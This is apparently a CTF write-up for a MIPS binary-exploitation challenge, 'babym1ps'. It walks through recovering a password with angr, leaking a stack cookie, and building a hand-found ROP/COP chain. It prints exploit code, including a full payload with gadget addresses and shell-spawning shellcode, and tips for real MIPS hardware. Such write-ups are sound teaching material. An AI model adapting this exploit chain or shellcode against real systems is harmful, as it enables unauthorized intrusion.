xenia a75699b904 | ||
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.. | ||
README.md | ||
challenge | ||
entry.png | ||
get_input.py | ||
main.png | ||
main_ret.png | ||
rop_0.png | ||
rop_1.png | ||
rop_2_1.png | ||
rop_2_2.png | ||
run_pwn.py |
README.md
babym1ps
Pwn 499 points 3 solves
nc babymips.3k.ctf.to 7777
provided file:
writeup
the provided binary is MIPS, as you'd expect from the name. there's a fairly bog-standard stack overflow in the main function, however it can only be triggered after successfully entering a password, otherwise it calls exit() and never returns. additionally, there's a stack cookie check.
you can manually reverse for the password, it's not super complicated but just to get more familiar with using angr, i used angr.
# idk what this is, it's not important
p.hook(0x00400550, angr.SIM_PROCEDURES["stubs"]["Nop"]())
# shim other functions
p.hook(0x004091d0, angr.SIM_PROCEDURES["libc"]["puts"]())
p.hook(0x00408490, angr.SIM_PROCEDURES["libc"]["printf"]())
# shim the rand() looking function to return the same stuff as a real concrete execution
class RandShim(angr.SimProcedure):
def run(self, vals=None):
i = self.state.globals.get('fakerand_idx', 0)
val = vals[i]
self.state.globals['fakerand_idx'] = i + 1
return val
p.hook(0x00407bf0, RandShim(vals=[ 0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a, 0xec, 0x29, 0xcd, 0xba, 0xab, 0xf2, 0xfb, 0xe3, ]))
# shim read
p.hook(0x0041d520, angr.SIM_PROCEDURES["linux_kernel"]["read"]())
since this is a static binary, we can hook functions with angr SimProcedures to save time (and to
avoid possible cases of angr just not terminating at all). i guessed what the function calls are in
main based on the parameters and how they're used. i also recorded the values returned by some sort
of PRNG, probably rand()
during a concrete execution and added a custom SimProcedure for that. the
rest is straightforward
# call main
st = p.factory.call_state(0x004005e0)
sm = p.factory.simulation_manager(st)
# find where it prints OK, avoid where it prints No
sm.explore(find=0x004007e4, avoid=0x00400820)
# this is the answer
print(sm.found[0].posix.dumps(0)[512:])
this gives a password of dumbasspassword
. next, to defeat the stack cookie check, the cookie can
be leaked by the printf()
call for the username, since that will keep printing until it encounters
a null byte. the LSB of the cookie is always null, but by providing an overwrite of 1 char into the
cookie we can leak the whole thing. just remember to set the null back with the next overwrite.
log.info("performing stack leak")
p.send("A" * 129)
name = p.recvuntil("your pass")
i = name.index(b"A")
cookie = b"\x00" + name[i+129:i+129+3]
log.info("got cookie %s", cookie)
now we run into some challenges. it turns out this binary does not use NX, so the stack is executable. we can write shellcode on the stack, but we don't necessarily know where the stack is because of ASLR. therefore, we need a ROP chain to get the stack pointer and jump to it.
MIPS ROP is interesting (similarly to ARM ROP) because unlike i386 and amd64, the return address is
stored in a register ra
rather than directly on the stack. so instead of most every function
epilogue being able to work as a ROP gadget, only epilogues that pop ra
from the stack and then
return are applicable. there are also some gadgets involving the temp register t9
- which is used
by MIPS compilers to load certain library function calls from gp
or other registers. so it's
really a mix of both return- and call-oriented programming. another important thing about MIPS is
that each branch/jump has a delay slot, the instruction directly after the branch gets executed
before the branch/jump gets taken, and also if it's not taken. the delay slots are prefixed in
ghidra with _
. this means useful gadget operations can actually come after the corresponding
jalr
, for example.
it turns out pwntools is fairly useless for MIPS ROP, and i also tried a port of some IDA scripts to ghidra https://github.com/tacnetsol/ghidra_scripts but these didn't really turn up good results, particularly for obtaining the stack pointer in a register, and suffered from the issue that ROP gadgets were not cached between runs which made script runs take unnecessarily long.
so instead we have to manually search for gadgets. first, it's important to note that the return
from main gives control over ra
and s8
only, so we will need to add more gadgets that load
registers from the stack if needed.
first, i did a ghidra search for any addiu
instruction from sp
to a0
. this is because of a
strategy i actually discovered last week (i'm not really convinced it's novel, but i haven't seen it
anywhere) of returning to entry
as the last gadget, because entry
loads main
to a0
and then
calls into libc init that will eventually execute a0
. now it turns out this binary actually has a
different gain shellcode execution
gadget i just didn't look hard enough, but whatever this works.
i wasn't able to find a useful sp->a0
gadget but i did find an sp->a1
gadget. however this takes
its next return address from s4
as you can see it moves s4
to t9
and then calls (in mips, move
is equivalent to bitwise or with 0). there's another tricky part of this because it writes s3
to
the stack, and this actually ends up corresponding to the return address of the last gadget we need
so s3 will need to be controlled for that too.
in order to control s4
we need a gadget to come before this, and there are lot of them available
because a lot of epilogues pop s*
registers, but i selected for one with a reasonably small stack
shift because we are technically byte-limited here.
finally, we need a gadget to move a1 to a0. i found an interesting gadget for this which returns to
ra
after branching for some reason.
so to summarize, the ROP/COP gadgets are:
- gain control of more registers, particularly
s4
ands3
. then return to next gadget by poppingra
- load a stack address into
a1
, writes3
then return tos4
(which we previously loaded from the stack) - move
a1
toa0
and return viara
- hijack
entry
to get libc to call the shellcode for us
now it turns out the challenge author did it in 3 gadgets but weh. this also works.
and here's the code
log.info("performing attack")
pwd = b"dumbasspassword"
payload = (
# password, and pad to the end of main's stack frame
pwd + b"B" * (128 - len(pwd))
+ cookie
+ b"CCCC" # main frame - s8
+ p32(0x446d50) # main frame - saved ra to gadget 0
# next gadget frame
+ b"D"*24
+ p32(1337) # s0
+ p32(1338) # s1
+ p32(0x48f990) # s2 - some readable address needed
+ p32(0x40036c) # s3 - address of last gadget (overwrite by gadget 2)
+ p32(0x464058) # s4 - after next gadget
+ p32(0x4452a8) # ra - next gadget
# next gadget frame
+ b"E" * 28
+ p32(0x13371337) # entry gadget to call a0 (overwritten by s3)
+ b"\x00" * 24 # final pad before shellcode
)
# pwntools is fun i literally don't even have to write this part myself
sc = asm(shellcraft.mips.sh())
payload += sc
p.send(payload)
p.interactive()
running the full code against the server gets you a shell, from which you can print the flag.
addendum
when doing this sort of thing for a real MIPS device, you have to be wary of the instruction and data caches screwing you over. in particular, they are not coherent, so if your shellcode is stored in the data cache it will not show up in the instruction cache unless they get flushed. now this part really doesn't matter here, since it's executing in qemu (good thing too! i kind of just assumed it would be inside qemu on the server, but it would have been truly evil if the challenge were run on a real MIPS board).
the typical mitigation for this is to add additional ROP steps to call sleep()
with a small value
-- kernel context switching will flush the caches and then you'll be all set.
last word
it's kinda ironic to me how the challenge is named such that it appears to be a baby
-type
challenge but then it also only got 3 solves. i wouldn't say it's not fairly straightforward once
you get into it, but for me personally having to find gadgets by hand was a major time sink, and it
sucks that the ghidra scripts mostly failed to find stuff even though there are lots of useful
gadgets in the binary. i mean c'mon it's static libc, of course there are useful gadgets.
🦈✨